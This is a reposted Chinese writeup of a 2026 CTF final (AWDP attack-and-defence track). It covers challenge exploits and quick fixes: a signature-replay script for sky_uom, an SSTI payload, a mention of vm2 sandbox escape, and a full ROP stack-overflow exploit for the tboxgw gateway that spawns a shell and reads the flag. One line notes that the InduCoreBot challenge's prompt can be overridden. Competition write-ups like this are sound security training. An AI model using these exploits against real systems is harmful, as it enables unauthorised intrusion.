文章总结: 本文是2026年第二届湾区杯决赛的writeup,作者分享了AWDP赛道的实战经验,涵盖多个题目的攻击与防御方法,包括利用漏洞获取flag、修复漏洞等,并提供了部分攻击脚本和修复思路,强调了线下赛的经验教训。
综合评分: 72
文章分类: ctf,漏洞分析,渗透测试,web安全,二进制安全
2026年 第二届湾区杯决赛 Writeup
赛查查
2026年9月21日 10:25
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
以下文章来源于HuaSecLabs
,作者huasec
HuaSecLabs
.
深耕漏洞挖掘与SRC、CTF、提供实战技巧、安全研究与前沿技术分享。助力安全从业者与爱好者提升技能,探索安全新视界。
写在前面
本次有两个赛道,分别是 AWDP 和 AI 攻防,因为不让使用 AI(本地环境都不让),半小时果断切换只打 AWDP,结果同事搞了好久的 agent 还没开始就结束了。AWDP 五题 web + 五题 pwn,队伍没有 pwn 手,只能尽可能地防御。
吃了没有经验的亏,防御一轮有这么多分吗?我也不知道分是怎么算的,多做题排名反而更靠后。再说一句,线下还是“厉害”的人多,还得学习。
InduCoreBot
好像也可以忽略前面的提示词,直接输出你是谁,Fix 就把 flag 删掉。
这里写一个修复的demo,比赛可以快速写脚本。
tar zcvf update.tar.gz update.sh file1 file2
update.sh
mv file1 /var/www/html/index.php
chmod 777 /var/www/html/index.php
mv file2 /home/ctf/pwn
chmod 777 /home/ctf/pwn
Flowise
没有打出来,我们一直想用 PoC 打,但是无影这工具的 PoC 是加密的,而且线下断网抓包,一直在找怎么挂代理打,在这题上浪费了太多时间。
审代理,获得账号密码:
后面应该是通过 vm2 沙箱逃逸 getshell,这是问过别的师傅才知道的。应该是这个 CVE-2026-69254RCE漏洞。
Fix 方法也是比较强。
mv /run/flowise/flag /f
CarbonTrace
这里不知道怎么打,但是修复还是知道的,直接删 flag 就行。
sky_uom
这里原理是通过账号密码获取 token,通过时间获取签名,重放到 export 接口。
通过代码审计,发现存在账号密码,登录:
因为要计算时间戳,所以写了一段代码:
import requests
import time
TARGET = "xxx"
# 1.token
login_res = requests.post(f"{TARGET}/demo/login", json={"username": "umac_demo", "password": "skyuom"})
token = login_res.json()["token"]
current_ts = str(int(time.time()))
payload_str = f"{current_ts}|{{\"action\":\"export\",\"id\":3}}"
# 获取签名
time_res = requests.get(f"{TARGET}/api/v1/time", params={"ts": payload_str})
sig = time_res.json()["sig"]
# 3. 携带签名重放至 /export 接口
headers_export = {
"Content-Type": "text/plain",
"X-Sign": sig,
"Authorization": f"Bearer {token}"
}
resp = requests.post(
f"{TARGET}/api/v2/admin/bulletin/export",
data=payload_str.encode('latin1'),
headers=headers_export
)
flag_data = resp.json()
if flag_data.get("ok"):
print(f"{flag_data['content']}")
修复也是一样的操作,屡试不爽。
lingyun_atlas
这里一眼 SSTI,基本都做出来了。
{{ . }}
修复方式:因为是 go 反编译的,当时懵了,改来改去不知道怎么办,后面看到一个 /flag。
把这个值换个名字,因为是静态的,用 010 Editor 改掉就行,这样就找不到这个 flag 了。但是比赛时一直在改那个 api 逻辑,难受。
tboxgw
攻击:这里 TBox 网关私有协议中 BATCH 命令(0x12)用 body 首字节 count 执行 memcpy(0x100 栈帧, body+1, count*0x2e) 导致栈溢出;在非 PIE 的静态二进制里用 pop rbx;ret(59) + pop rdi;ret(body 缓冲区里的 “/bin/sh”) + 错位 gadget 完成 execve("/bin/sh",0,0),因子进程已把 socket dup2 到 0/1/2,所以直接得到交互 shell 读取 /flag。这里上脚本:
import socket, struct, sys, time
HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8888
def crc16_ccitt_false(data, crc=0xFFFF):
"""matches sub_401139: MSB-first, poly 0x1021, init passed in, no xorout"""
for b in data:
crc ^= b << 8
for _ in range(8):
crc = ((crc << 1) ^ 0x1021) if (crc & 0x8000) else (crc << 1)
crc &= 0xFFFF
return crc
def frame(cmd, payload17, body):
ln = len(body)
hdr = bytes([0xFA, 0x5B, cmd]) + payload17.ljust(17, b'A')[:17] \
+ struct.pack('<H', ln) # len little-endian
crc = crc16_ccitt_false(hdr[2:]) # over cmd+payload+len
if ln:
crc = crc16_ccitt_false(body, crc) # chained over body
return hdr + body + struct.pack('<H', crc) # crc little-endian
# ---- gadgets (non-PIE, fixed 0x400000) ----
POP_RBX = 0x4028d0 # pop rbx ; ret
POP_RDI = 0x401f7d # pop rdi ; ret
MAGIC = 0x40363d # xor edx,edx ; xor esi,esi ; mov rax,rbx ; syscall
BODY_BUF = 0x409260 # global body buffer (bss) — persists after read
SH_ADDR = BODY_BUF + 0x700
rop = b''
rop += struct.pack('<Q', POP_RBX) + struct.pack('<Q', 59) # rbx = SYS_execve
rop += struct.pack('<Q', POP_RDI) + struct.pack('<Q', SH_ADDR)
rop += struct.pack('<Q', MAGIC) # execve("/bin/sh", NULL, NULL)
body = bytearray(b'\x00' * 0x800)
body[0] = 0x10 # count=16 → memcpy 736 bytes
body[1:1+236] = b'B' * 236 # filler up to saved rbp
body[237:245] = struct.pack('<Q', 0xdeadbeef) # saved rbp
body[245:245+len(rop)] = rop # return address + chain
body[0x700:0x708] = b'/bin/sh\x00'
s = socket.create_connection((HOST, PORT), timeout=5)
print(s.recv(4096).decode(errors='replace').strip()) # banner
s.sendall(frame(0x12, b'', bytes(body)))
time.sleep(0.5)
s.sendall(b'cat /f*')
time.sleep(0.8)
try:
out = s.recv(65536)
print(out.decode(errors='replace'))
except Exception as e:
print('recv:', e)
s.close()
防御就上通防,手速没这么快,一直在调。
RoadLedger
原理还是一样,改环境,这里就不再赘述了。
最后
有些做不出来的,还有本地无法复现的,这里就不继续写了。需要这次比赛本地附件(AI+AWDP)的,关注后回复今天日期 2026-09-15 即可。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2026年 第二届湾区杯决赛 Writeup》